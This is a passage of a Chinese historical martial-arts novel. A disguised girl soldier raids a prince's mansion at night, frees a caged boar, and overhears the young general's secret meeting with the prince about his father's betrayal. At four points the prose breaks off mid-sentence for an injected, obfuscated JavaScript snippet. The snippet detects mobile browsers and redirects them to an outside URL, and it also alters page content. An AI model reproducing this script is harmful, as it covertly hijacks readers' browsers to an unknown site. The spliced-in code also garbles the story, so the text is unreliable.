宗恂又是安抚地一笑，“我们明日便启程离陇，往北去。” “如此便可？” “如此便可。”宗恂笃定道。 燕风稍一思索，便明白了其中的关窍。 宗恂之所以被派遣到此做棋子。今上看中的除了他的年轻稚嫩，更重要的是他的身世。 三年前宗谦在阳高城的那一退。 白骨露于野，千里无鸡鸣，平民死伤何止十万。 百姓不敢将怒火发泄于朝廷，便把所有的罪责都归结于大将军的败逃。听闻其埋骨地常被亵渎，唾骂与污秽，经年不绝。 故而今上得出了宗恂不敢轻易北向的判断，断定他只会徘徊于陇地，替他同裕王斡旋相斗，以此邀功寻赏。 朝廷和诸侯之间的博弈，在两者实力尚未达到一方压倒性的情况下，是不该轻易戳破那层薄纸的。再者，经过边虏大军蹂躏过的帝国，也绝经不起一场师出无名的战役。 而一个带着一万老弱兵，又绝不敢北向的逃将之子，则是一场斗争中最好的，死不足惜的问路石。 但如今... 燕风望向面前这个高大俊朗的青年。 他总是一副温和可亲的样子，但实则心思百转，让人捉摸不透。 燕风踌躇了一会儿，最终还是问道： “为何要将这些告知与我?我以为你们不会信我，卢平昨晚那些话，虽我心知都是错的。但从你们的角度看来，也不是全无道理。我的身份，毕竟还是特殊。” “你偷听我们谈话？”宗恂挑眉。 “并非有意。请别误会，我非妖异，但确有不同于常人之处。比如，昨夜的引风避雨。再比如，听力也比寻常人灵敏些。将军放心，我今晚就把自己的小帐挪远些。” 宗恂想了想，笑道：“不必。我一个闲散将军，也没什么机要怕你听到。” 燕风简直是受宠若惊。 她不明白为何从昨夜初逢，到现在不过七八个时辰，宗恂对她的态度竟有了如此大的转变。 从一开始的审视防备，到现在的坦然相告，且不必避嫌。 她思来想去，得出结论，宗恂定是被自己冒死诛杀军中细作的英勇无畏所打动。 于是她主动道：“将军怎么不问我如何察觉赵阿宝有问题？” “应该是因为他那双沾了颜色的鞋吧。我先前去看了眼你之前的住所。颇有巧思。” “将军英明！”燕风发自肺腑。 宗恂对她摆了摆手：“回去吧，我这里没什么事情了。你的右肩还需好好将养。往后几日，不要做重活。” “是。”燕风行了个军礼，便要回去。 走了几步，宗恂突然又叫住了她。 “将军还有吩咐?” “不是什么吩咐。”他的眼神透过低头恭敬听令的少女，从她受伤的右肩，延伸到飘渺的远方。 却迟迟没有再开口。 燕风狐疑地抬头，似懂非懂，便抬臂行了个大礼，笑道：“将军放心，我结实得很。这次凶险，确然是我莽撞了，下次绝不再敢了。” 宗恂望着那少女故作轻松的单薄背影，苦笑了笑。 他这样的人，又有什么资格劝别人放下。 * 燕风一回到营地，江鱼便拥了上来。 她一边往燕风怀里塞吃的，一边一口一个燕大哥叫得好不亲热。 燕风刚刚还不觉得，现在才感到肚中空空，便顾不得形象，大口吃喝起来。 一直揣在江鱼怀里的鸡蛋，现在还是温热的。燕风掰开半个，递还给了江鱼。 江鱼看着眼馋，也不推辞，笑嘻嘻得接下一口吃了，后又端来一碗羊乳给燕风。 燕风望着她手中润白的一碗，愣了愣。 从前在阳高的时候，百姓自发送来很多东西。 大将军大多都退了回去，只有一只怀了孕的老羊找不到主人，便留了下来。老羊喂了小羊，每日剩的羊乳不多，大将军吩咐只给营里几个年龄最小的孤儿一人一小碗。 “军中哪里来的羊乳？” “我也不知。可能是哪里抓的野羊吧。” 江鱼舔了舔嘴角，还在回味那半个鸡蛋，见燕风神色不对，忙道： “闻着味道是大了点，但可是好东西！陈富说是将军特意吩咐送的。燕大哥今天抓了细作，立了大功，得补补！” 燕风想起往事，眼角发酸，接过小碗一口饮下。 她心中闪过一个猜测，可又马上否决了。 江鱼送完了东西就回武场接着练了。燕风受了伤，不好再去，就坐在树荫下远远地看。 午后，陈青来了一趟。 他东拉西扯好一顿，最后扭扭捏捏从怀里拿出一小瓶药。 “你可别误会。”他两只眼睛望向别处。“我家是开武馆的。别的没有，伤药见得不少。这药，我来的时候带多了，现在也用不着，放久了也要坏。你回去试试呗，绝对管用。” 燕风双手接过，真诚地道了谢。这东西她是真缺，毕竟她也不敢去医帐，大夫一把脉就她就露馅了，麻烦。 陈青见她收了，松了口气，说话也轻快了许多。 他心里是有愧的。 早上焦海欺负人的时候，他本该上去拦一下。他从前一直是这样做的。焦海忌惮他，他要是出面，十有八九事情就过去了。 但今早，鬼使神差地，他就没去，恐怕还是因为早上跑步失了面子。 后头见燕风豁出性命和那细作对打，心里就更是羞愧万分。 其他人看不出什么，他却看得明白：赵阿宝那一棍可真是险啊，若真落到要害处，眼前这个瘦小个子，恐怕就立时魂归西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485514|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天了，难得的是这人并不露怯，反而勇往直前。 他开始时还觉得这人秀致有余，阳刚不足。现在两相比较，陈青只觉得自己白长了这蠢笨的大个子。 当夜，江鱼便因着照顾伤员的由头，顺理成章地和燕风住在一个小帐里。她高兴坏了，拉着燕风絮叨半宿。一夜过去，燕风连江鱼老家村头那条黄狗撒尿抬哪只脚都知道了。 第二日，大军便开始赶路。 走得并不急，每日的训练只多不少。 燕风右肩膀受了伤，陈青便主动承担了她行军的那份行李辎重。 晨起来收帐，午后来安营，一日两回，来来去去，事做得十分利索。不光如此，他真不愧是家里开武馆的，十八般武艺，样样都出色。 但这也不免叫人好奇：家里开武馆应是底子殷实，本人又是如此出众的人物，怎么好端端竟来从军卖命，还是到这支老弱残军从最底层的新兵做起。 陈青对这话题倒是忌讳。平常偶有提及，要么便转开话头，要么便直接闭了嘴。 除此之外，三人相处十分融洽，也渐渐熟络起来，除开训练，平时也常常凑成一堆。特别是江鱼，刚开始时一见到陈青便缩得像个鹌鹑，现在一口一个陈大哥叫得可亲热。 多亏这两人平日的帮衬，燕风的伤肩也恢复得很快。但为着谨慎起见，她开始学着用左手使枪使剑。她用左手，江鱼便勉强能做得她的对手，两个人都进步飞速。 就这样过了小半个月，周围绵延高耸的群山日日都变得平缓，待翻过了最后一座，空气中陇地特有的温暖湿润骤然消散，吹到面上的风又急又凉。 这里便是陇地之末，北境之始了。 驻扎的营地在半山腰上。 这山不高，叫矮骆山，是翠微山脉最北面的一隆。矮骆山北面的山脚下便是庆集县。 庆集县不算很大，从前却是陇地最繁华的地方。因为这里连接着翠微山脉充沛的雨汽，又地势平坦，所以利于农耕。作为陇地和北境的边界，庆集县也是商贾来往的贸易枢纽，就连裕王在陇地的王府原本也设在这里。 可惜，三年前那一场人间惨剧，城墙并不高耸的庆集县自然也没能幸免。 裕王早早便听到风声拖着金银辎重遁了，可平头百姓便没有这么好的运气了。 此时已经是午后接近傍晚，太阳低低地挂在西边。 今日的训练刚结束，在等待晚飱的空当里，燕风一行三人坐在大石块上休息，朝着山下的平原极目远眺。 这三年，边瓦人没有再来，庆集县也有了人烟，随着日头渐昏，也渐渐燃起了稀疏的灯火。 但在这阴阳交割的时候，明明周围仍是热闹喧哗，一种莫名的苍凉之感却渐渐弥漫在这三个静坐在此的外乡人之间。 突然一阵嘈杂由远及近。 燕风最早听到动静，转头往身后看去，竟然又是那焦海。 “误会！俞教头，真是误会！那孙子平常就跟我有仇，这是他诬陷我！” 9. 夜盗 正是无事可做的闲暇时候，众人见有热闹可看，纷纷都凑了过去。 焦海仍在辩白，说自己只是想找个隐蔽的地方小解，不知怎么就被人抓着说是逃兵。 旁边有个小个子结结巴巴反驳他，说盯着他好久了，头几天就见他鬼鬼祟祟，今天果然要趁大家不注意跑路。 焦海抓着那人的话头，说他果然就是看自己不惯，两只绿豆眼死盯着，屁大点事就鸡毛当令箭往上报，他若是真想跑，怎么不在半夜三更悄悄走，大白天跑不就等着被抓。 两人闹得不可开交，俞教头被吵得头大，叫人去请将军断案。 宗将军没来，卢平卢校尉倒是来了。 他打眼一瞧，便看出来焦海身上套了他的全部身家——三套衣裳，腰带里也塞满了他平时攒下来的饼子。再顺势横眉一番威喝，责问他是不是边鞑探子，焦海便一把鼻涕一把泪什么都招了。 毕竟逃兵罪只用死他一个，但若是通敌，他原籍的亲族便要被株连了。 原来这厮在营里觉得每日又累又吃不饱，还因为之前不小心打伤了俞教头受旁人排挤，早就想跑，但胆子小，一直没能行动。现在到了庆集县，觉得是个好机会。 大靖尊卑分明，裕王府虽然已经人去府空，但路过的官兵仍然不可随意搜查。他想着只要能翻进去躲几天，他就自由了。 真相大白后，俞教头主张杀一儆百，卢平却说将军方才嘱咐他，现在军里境况不好，兄弟们都受苦了，不是罪无可恕的事还是网开一面的好。 两个人一个红脸一个白脸，焦海果然从惊惧失禁变成了感激涕零，朝着军营大帐磕了几个饷头，老老实实地去领八十军棍。 热闹看完了，晚飱也开了。 燕风咬着杂粮豆窝头，对着分来的野菜粥若有所思。 “最近的份额和从前比是少了些。” “可不是。”江鱼抬头飞速朝周围扫了几眼，才轻声说，“存粮越来越少，饷营那几个老头愁得头发都没几根了。” 陈青也叹气：“快出陇地了，到了北境，粮草就更难了。” “那可如何是好？”江鱼瞪圆了眼睛，手里粗粝的窝头一下子便珍贵了起来。 “燕哥，你同将军说得上话，他有没有和你透露过什么？” 燕风摇了摇头。 自从正式入了营，宗恂便没再找过她，连赵阿宝那事儿怎么样了她也不清楚。而她一个新兵，没要紧事，也是不该去找将军的。 三人陷入沉默，空气中只剩咀嚼声。 “裕王当初逃得那么快，东西不可能带得齐全吧。”嘴里最后一口滋味下了肚，燕风突然道。 陈青心领神会：“蛮子来去匆匆，搜得也不一定仔细。” “你们疯了？那可是亲王府！再说，就算是有屯粮，三年也早烂了。” “就得是亲王府才好。”燕风越想越觉得可行，不禁弯了弯嘴角。 “江鱼，你别担心。我们就是去看看，若真有金银，还愁买不了粮食，咱们上交给将军，也给他分分忧。若是没有，只要咱们嘴严，又有什么损失呢？” 陈青同燕风相视一笑，两个人想到一块去了。 江鱼也是个胆子肥的，三两句就说通了。 “那好吧，我听你们的，咱们怎么办。” 燕风道：“这事得我一个人去。江鱼，你负责今晚替我掩饰，我可不想一回来就成了逃兵。陈青，你同别人一个帐子，晚上怕是走不远，你便在山腰上守着，若是我满载而归，你给我搭把手。你们觉得呢？” “甚好。”陈青点了点头，燕风的本事他是清楚的，去的人多了，反而给她拖累。 “小心点，虽说裕王不在那儿了，但保不准有蟊贼鸠占鹊巢，你若是卯时还未归来，我就去请将军想法子救你。” 燕风应下。 “你的肩膀如何了，能行吗？”江鱼不放心又问。 “放心。歇了这许久也该活动活动了。”燕风顺手拾起一片枯叶，右手一挥，那叶子便飞插到了一旁的树桩子上，随后又碎成了齑粉。 江鱼扔出去一个白眼：“行了，知道你好了，省些力气吧。”说着一把按下燕风还想躁动的右手。 陈青不理打闹的两人，抬头看了看已经完全暗下来的天。 “今夜是半月，应该够你看清山路了。” * 当夜子时过半，天空飘起了小雨。 燕风暗道一声天助我也。 此时她已经顺利遁出了营地，在山道上飞速腾挪狂奔。雨丝并没有打湿她的暗色衣裳，反而使她纤细的身影在黑暗中更模糊得形同鬼魅。 燕风将她御风的本事用到了极限。快如陈青，其发足狂奔也需要至少两刻钟的路程，燕风不过只用了半刻便到了庆集县城门口。 城墙上把守的士兵昏昏欲睡，迷蒙中好像看到有个影子从他正头顶上飞过去，转瞬就不见了。 他打了个哈欠，只觉得今晚米酒喝大了。 裕王府位于县城正中间，很容易认出来，因为那府墙比起城墙也矮不到哪里去，且占地很广，几乎占了小半个庆集县。 燕风在王府门前停下了脚步。 她趴着细听了一会儿，心里沉了沉。 真被陈青说中了，里头有人，还过得挺快活，隐隐还有丝竹乐声。 但无功而返不是她的性格。况且偷盗若也算一门行当，燕风不敢自称天下第一，混个前十的龙虎榜应是易如反掌。 燕风踮着脚，小心在王府外探查了一圈，最后选定了一个不起眼的角落，一个轻盈的起落，稳稳的落在府内的一角屋檐上。 她双手微张，缓缓举过头顶，随着夜风而轻摆。思索片刻后，她像一只敏捷的黑猫，倏忽就消失在雨幕里。 从小饿肚子留下的后遗症，燕风每到一个新地方都喜欢往厨房里面钻。 后来去得多了，歪打正着，她渐渐悟到厨房确实是做坏事最好的去处。 大户人家采买流水大，打杂的处处都抠一点，日日积攒，也是不小的油水。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485515|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些家生奴才，往往喜欢把这些不义之财藏在厨房里。他们个个都觉得自己对这块小地方了如指掌，藏得神不知鬼不觉，殊不知人外有人。燕风长这么大，钻过的灶间没有成千也有上百。什么好东西，到最后都便宜了她。 这次也不例外，燕风摸清了府里大致的布局，就往厨房的方向潜。 陇北多刮西北风，为着柴烟的通畅，厨房多建在住宅的东南角。燕风远远就觉得不对，走近了才发现：夜都这样深了，厨房的灶火竟然还旺着，小院门里外进进出出好几个婢女，竟然还梳了髻。 她心忖：这伙蟊贼还挺讲究，占了亲王的地方，还要学亲王那做派，连遣的婢女都要打扮得规整，不知道都是从哪里掳来的良家女娃。 再看又觉得不对。 这些婢女个个细皮嫩肉，保养得当，且举手投足都有章可循，不像是从附近百姓家掳来的普通女子。 难不成是裕王又回来了？ 念头一起，燕风扒拉着屋瓦的手都颤了颤，整个人下意识避着火光往阴影里又缩了几分。 皇亲贵胄最惜命，身边少不了高手围着。她小时候在宫里可没少吃他们的苦头，多少心里有了阴影。裕王这种称霸一方的藩王，身边带的人更是不消说了，光看营里那个奸细赵阿宝便知道了。 说不怕，那是假的。 燕风深吸了口气，很快理智便又占了上峰。 她这三年卧薪尝胆，要做的本就是万死无生的大事，若在小小一个藩王面前就怯了，还谈什么将来？此处便当是一场试炼罢。 她探头从屋顶往下看去，底下的侍女们手里捧着各色的食盘，一个接着一个，施施然往王府中央一座高楼走去。 那高楼没透出什么亮光，应该是门窗紧闭，但那隐约的丝竹声，却逃不过燕风的耳朵。 燕风猫着身子，轻手轻脚地悄悄在屋顶上跟了上去。 她一路上小心探查，踩过的屋顶底下都没有人，直到路过一间不起眼的柴房，她忽然停下了。 果然下一瞬，两个衣着体面的仆从从里头走了出来。 这两个仆从一高一矮，其中个矮的那个落在后头，把门小心拴上才快走几步跟上。 个高的那个转头笑他：“你这么小心做甚？中了我那药，就是青翠峰的百兽之王也得跪着给我摇尾巴。” 矮的回他：“小心点总是好的。话说起来，你下手那么重，万一吃坏了，不死不活的在贵客面前丢了王爷的脸可怎么办。” “你别说，我本来也挺担心。不过现在还没收到信，看来是今晚的客人还不够格，请不出咱们这一位。我这药来的快，去得也快，等到了明晚，肯定就没事了。” “说起来还真是感慨，我在这儿过了大半辈子。还没见过这种极品，不知道是个什么滋味。” “你急什么，到时候等王爷和贵客们享用完，不就轮到咱兄弟俩了吗。” 那两人都轻笑了几声，不一会儿就走远了。 燕风在屋顶上听着，不禁攥紧了拳头。 10. 笼殿 裕王的荒淫名声在民间流传已久。 据说他有喉疾，每日都要数十姬妾赤身跪在他的床边以口承其唾，如此下作恶心行径，还被他那些拥趸还取了个雅称，唤作美人盂。 这柴房里关着的定是不知从哪里掳来的良家娘子，听那俩仆从的口气，还被下了猛药，预备着主客同乐，甚至是主仆同乐。 燕风义愤填膺，小心地揭开了一片屋瓦，借着微弱的月光往下望。 柴房里漆黑一片，模糊中看到几道反光，仿佛是一个半人高的精钢制成的笼子。同时下头传来了粗重的喘息，像是有人受了伤在费力地呼吸。 燕风犹豫了一会儿。 若是见死不救，实在过不去心里那坎，但又怕那姑娘受到惊吓，大叫起来引来看守。若是等做完了事再折返回来救人，又怕到时候自己要逃命，兵荒马乱顾不上了。 她望了望百步开外，侍女们鱼贯而去的那座阁楼，咬了咬牙，还是决定先救人。 反正楼就在那儿，贵人们手脚金贵也跑不远，就算引来了人，她对自己的轻功也有信心。 确保了附近再没有人，燕风从屋顶上跳了下来。 门上挂的锁头样式并不复杂，她从头上拔了一根细木簪子，三两下就开了锁。 她边轻轻推门，边在心里默念：“对不住对不住，我也就是一个半吊子，自身难保，帮你开了铁笼就是极限了。” 等那半截的月光终于透过半开的门，照到了柴房里那半人高的铁笼。燕风费力酝酿出来的用来安抚小姑娘的微笑，彻底僵在了脸上。 笼子里，一头年岁不大的野猪停下来用乳牙悄悄磨铁门的动作，两只圆溜溜的黑眼珠望向门口的来客，表情七分天真三分无邪。 从体型和毛色讲，确实是猪中极品。 许是燕风长得挺讨猪喜欢，一人一猪对视良久的结果，是那小野猪快乐地摇起了尾巴。 算了，谁能说救猪不算救呢，遇到她就是这小猪命不该绝！ 这笼子是精铁所制，月色中也觉得精光闪闪，甚是气派。那小猪却很聪明，乳牙并不往坚硬处使劲，而是在合页薄弱之处细细地磨。按照这进度，不用她帮忙大概也能磨开。 燕风歪头想了想，并没有像方才开门锁一样撬笼锁，而是掏出早前在演武场顺的匕首，朝着铁笼的合页狠狠划了几刀。 这刀片质量一般，没几下就卷了刃，但也重挫了那可怜的合页。 小野猪很感激，自来熟地隔着铁笼拱了拱燕风，狗里狗气的。 显然它不知道面前这位恩人其实更擅长撬锁。 确保这笼子能开，但不会那么快就被开，燕风按着原来的计划往那高楼跑去。 * 重屋曰楼。 远看只觉得那建筑比之四周算是高大宏伟，应是多层的楼阁。走近了才发现原来只有单层，只是这一层的挑高甚是不同凡响，更像是皇宫里的高殿。 这殿占地广，规制高，四周不栽繁木，不砌高墙。从习武者的角度看来，算是一览无余，足以拦住九成九的不速之客。 但燕风，恰好不在此列。 她从百丈外的一座平房的屋顶起跳，着深色衣服的身影在夜空中迅速划过一道不可思议的弧线。在落地前，却又奇迹般地减缓了速度，似一片被风托住的玄羽，悄无声息地落在了殿顶。 燕风掀开一片龙骨琉璃瓦，扑面而来的光亮好似要晃瞎她的眼，眨了眨眼，才往下看去。 大殿内点灯无数，配上金碧辉煌的内饰，真是富贵荣华迷人眼。主位上坐着一个衣着华丽繁复的中年男人，想必就是那裕王了。 燕风眯起眼睛，想看看这位盘踞重镇，又声名狼藉的亲王是个什么模样。 仔细看罢，却不免有些失望。 这位既没有上位者惯有的那种目中无人威风凛凛的气势，也不是百姓口中青面獠牙的奸邪样子，硬要说出点特质，便只有‘白胖’二字，就像田埂地头常见的那些虚不受补的地主富户。 那裕王正对着下首的一位布衣客人寒暄，言笑晏晏，样子很是亲切。 而那客人…… 从燕风的角度只能看到半个肩膀，但那半边肩膀竟然好似有几分眼熟。 于是她起身，潜到另一边掀瓦来看。 这一看不要紧，差点给她吓出声。 这身姿这眉眼，不正是白天没露面的宗恂吗！ * 紧闭的殿门突然被打开，款款进来一队袅袅婷婷的舞女。燕风数了数，共一十八人，从顶上往下看，满眼都是她们乌油油的头发。高髻端庄齐整，缀了一圈又一圈的珍珠插戴，最顶上的珠花大簪则人人都不同，月季，山茶，蔷薇，应有尽有，都用宝珠做心，串珠做瓣，再配纱绢做托，一眼便知价格不菲。 别说是寻常人家，便是普通官家小姐，也不一定能凑得出这一头珠饰。 再瞧其衣着：白稠丝滑柔软，跟随她们的动作也毫不起褶，而且间或熠熠闪着金光银光。定睛细看，才发现那白稠衣裙的领口，袖口和裙摆处，都拿金银丝绣密密地描了暗纹。 裕王府之豪富便可见一斑了。 燕风从小便是靠做‘檐上君子’过活的，被迫也见识过宫里许许多多的美艳舞姬，渐渐也形成了自己的一套审美。 所谓献舞，无论形式如何，舞者身份又如何，在她看来，本质上都为曲迎讨好。 但所谓直情曲道则假，曲情直道则露。越是想要谄媚奉承，便越是要婉约含蓄。便如诗词，不着一字，尽写风流，才堪一句上上之雅。 便如此时。燕风相信，编这支舞的人一定也十分认同她这套观点。光看这些女子样貌神态便知道了：雪肤花容，轮廓高挑大气，最难得的是，个个神色收敛，眉目低垂，面上无一丝轻佻浮躁，配上这白衣高髻，含蓄舞姿，好似观音般高洁。 裕王显然也是得意的。 他不再作声，转头好似专心欣赏起了这观音舞。 宗恂本就不是个多话的人，这下客随主便，彻底成了个锯嘴葫芦。 燕风不知这两人怎么凑了一块，又迟迟听不到有用的信息，急得百爪挠心，心道你个白胖子装什么雅士，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485516|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的舞妓看得这么新鲜。 她一股子闷气，连带着看那些富贵女菩萨们也不爽，开始琢磨等下走个什么路线，能把这十八位菩萨头顶上的宝珠顶花并珍珠钗戴全都撸下来，拆巴了拿去换钱。 一曲舞罢，琴师起新调，舞女起新势，又是新一曲。 如此反复两三首，就在燕风以为这位高权重的大白胖子这一趟真的只是想找个人一起看个舞听个曲的时候，裕王终于开了他的尊口。 “二十多年前，在燕京，我同你的母亲也常常聚在一起听曲玩闹。转眼，你都长这么大了。若是按民间的说法，你还得管我叫一声娘舅。” “娘舅。”宗恂从善如流。 裕王酡红的胖脸微僵了一僵，好似没有想到宗恂如此顺从。他夸张地大笑了几声，又大声地应和了一句，以表示他此刻的欣慰和快乐。 坐裕王下首的一个穿锦衣长袍的壮年男子识得眼色，立时起身举杯：“属下就说今日怎么自晨起，院里的槐树上便鸟鸣不止，原来是灵鹊兆喜了。恭喜裕王，恭喜宗将军，今日相认，从此甥舅齐心，天下大事，何不可为？我郑鲤今日有幸见证，斗胆做第一个贺喜的。”说罢杯中酒一饮而尽。 裕王也给面子，笑眯眯也举杯应了声好。 “贤甥,怎得不饮？此乃上等的苏合香酒，能调五脏，祛腹中诸病。舅舅我本是粗人，什么烈酒都使得。但阿瑛从前就非贡酒不饮，想来你也是你母亲万千心血呵护长大的的，饮食精细，我才给你讨来了这百金一斗的美酒。” 阿瑛大概是宗恂母亲，福瑛大公主的小名。燕风在屋顶观望，心想裕王这番话真是给足了面子。 可宗恂并不领情：“裕王抬爱，但某不胜酒力，力不从心。” 裕王果然神色不虞，还想多说几句。那位叫郑鲤的却抢先起身作揖。 “我瞧宗大将军形貌潇洒，湛然若神。更难得的是，年纪轻轻就身居要职，做了一军之主将，可见平日行事谨慎老成。美酒虽好，但多饮难免分心伤神。今日王上和宗将军排除万难，才能于此相聚密会，依属下看，还是先谈正事要紧，饮酒美事，稍后不迟。” 裕王点头应了，挥了挥手，乐师又新起了一个和缓的调子，舞女们也不退下，就地跪坐。 燕风不解。据她的经验，既然是所谓的正事，无干人等自是应撤尽撤，怎么殿里还是乌泱泱一帮人。 若说是留下高手护卫以防万一也不是。 她仔细观察过底下人的吐息，确然东西南北四角门边上都各站着一位高手，其内功深厚似乎与宗恂都不相上下。但除此以外的其他人，乐师和舞女，包括那个郑鲤，个个都是内力武功全无。 对此，她自然是乐见其成的，谁会与那一十八朵顶花过不去？她算了算时间步法，不论今夜有什么惊世见闻，至少那些乌云鬓上的好东西都该是自己的囊中之物。 底下，裕王还不知头顶上有个女煞星，他清了清喉咙，开了尊口。 “贤甥，今夜相邀，自然是有重要的事情相告。你可知，你父亲宗谦大将军败逃一事的真相？” 11. 观音娘 此话一出，简直是石破天惊。 燕风揪紧了自己的胸口。多亏御风之术能锁住声息，否则任谁都能听见，这华殿金顶之上，此刻正藏着一颗狂跳不休的心。 底下裕王所言，与燕风的揣测不谋而合。 宗谦是当年北狩之变中拥立新帝的首要臣子，更打下了功勋彪炳的燕京保卫战。皇帝归来复位后，欲处置这位曾不忠于己、又威名过盛的旧臣，确是顺理成章。只是，若以整个北境做码，数万百姓的生死做筏，只为布下一个不损自身贤名的局……对于一个君王，说到底还是卑劣了些。 裕王越说越是激愤，言辞渐渐出格，终至切齿怒骂。 燕风已无心再听，她的全副心神，都系在宗恂的态度上。 宗恂终于不是那事不关己的样子，他偏头望向裕王，表示自己在洗耳恭听，但也仅此而已了，燕风觉得他连气息都没变。 这令燕风蓦然想起一些传言：据说宗恂自幼随母亲久居宫闱，与生父并不亲近，反而与他的表舅父——也即是当今圣上，情同父子…… 她想起那副在烈火中也不曾弯曲的脊梁。倘若连他唯一的血脉，都对他所蒙受的滔天冤屈无动于衷，甚至，认贼作父呢？ 世事何其讽刺。难道最终，竟要靠她这个仇敌之女，来为万千将士讨一个公道？ 明明不久之前，他们还在高地上，对着那百十具遗体长谈。她以为他至少不是对立之人，可转眼，他便与制造那惨状的元凶深夜密会。 是她太过多疑，还是这世道真真假假，本就如此令人煎熬？ 她死死盯住下头端坐的宗恂。 不知是否目光也有温度，宗恂竟似有所觉，向上偏了偏头。 这一瞥如冷水浇顶，让燕风骤然清醒，一段旧事，悄然浮上心头。 五年前，那时她刚以孤儿的身份，被宗谦捡走进了他的大营，一位叫罗同的叔伯常来照顾他们这些孩子。 罗同闲时爱勘山测水，常捡些黑黢黢的小石头回来。燕风爱黏他，也帮他保管那些宝贝。 一次，她在营地旁发现一条小溪，自己痛快沐浴后，便想将那些沾泥带土的小黑石头也洗净，谁知人小手滑，石头竟从指缝溜走，眨眼没入溪水不见了踪迹。 她又急又愧，顺着溪流狂奔数里，眼见小溪汇入大河，大河跌成瀑布，石头再也寻不见，才哭着回去找罗同。 罗同听了却安慰道：即便石头全丢了也没什么大不了的，更何况，石头根本没丢。 见她抽噎仍是不信，罗同便脱了鞋袜，踏入溪中摸索。片刻，便将石头悉数寻回。 “石头坚硬，水不能浮，自然应该原地求索，不该顺流而寻。但若是重石失于沙河，你可知该去哪里找？” 年幼的她懵懂答道：“沙河也冲不走石头，自然还是原地。” 罗同却摇头笑道：“沙河之水虽不能卷石，但其反激之力，会在石下啮沙成坎。坎渐深，石则倒转，再啮再转，日久天长，石头反被推向上游。” 他轻拍了她的头，语声温和却含义深远：“燕风，你还小。将来你会明白，天下之事，往往只知其一，不知其二。” 底下裕王还在滔滔不绝。 说久了难免口干，趁他喝水的空当，宗恂适时温声打断：“舅舅所言，我早有猜测，今日从舅舅嘴里说出来，我才知确有其事，内心实在惊惧不已。不知依舅舅所看，我该如何是好。” 燕风打起精神，知道重头戏来了。 裕王捻捻胡须，“贤甥，你人也聪慧，应该料得到，皇帝老贼让你领兵向西北，不过就是借着守边的由头，引得我们亲舅甥骨肉相残。但既然我们已经说开了。自然不能遂了那老贼的意。依我看，你不光要北上，还要做出一番大事业来，把北境彻底作为你的地盘。到时候我们舅甥合心，何愁大仇不得报。” 燕风听了只想冷笑，心道裕王哪是觉得宗恂聪慧，怕是根本没把他放在眼里。 首先那亲疏一说便是笑话。宗恂和裕王的关系，和与今上的关系，差别只在于往上数两代的祖父，是哪位庶母所出，根本没有区别。 再者这裕王也不脸红，半个字不提半月以前，他为了赶走宗恂送来的百十具尸体，转头就在这里装情深。 想来那封空白盖着假诸侯章的信纸便是个试探。若是宗恂将这信纸当个证物往上告，他自有后招化解。但若没有上告，里头透露出的宗恂的态度就显得暧昧了，未尝不能有合作的选项。 总之，无论面上如何亲善，两方实际上势力相差太大。一个大棒就一个枣，说些顺心好听的大话，识相的就该就着台阶赶紧遁了。 宗恂却不太识相。 他点头道：“舅舅说得有理。但我也有为难之处。这一万大军，每日光是吃用的粟米便是一笔不小的开销。我若是留在陇地，自然还有舅舅您帮衬，但若是去了北境，这吃穿用度就没着落了。” 意思是我要不走，吃不上饭还能找您，要是走了还能指望谁？您要我痛快地走，得给点好处费。 燕风在上头看不清众人的表情，但也觉得场里气氛一窒。 好在裕王很快就反应了过来，他打了个哈哈：“你既叫本王一声娘舅，娘舅自是什么都替你打算好了。你瞧这是什么？”他说着从怀里掏出一块玉佩，叫侍从递给了宗恂。 燕风眯了眯眼睛，没看出有什么稀奇的。 裕王接着道：“此乃本王常年贴身之物。亮出此牌便如本王亲至。非是舅舅夸口，二十载经营，这陇地上下，从府衙高官到市井庶民，无不对本王心悦诚服。贤甥执此牌在手，纵使年景再艰，购粮之事，亦易如反掌。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485517|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 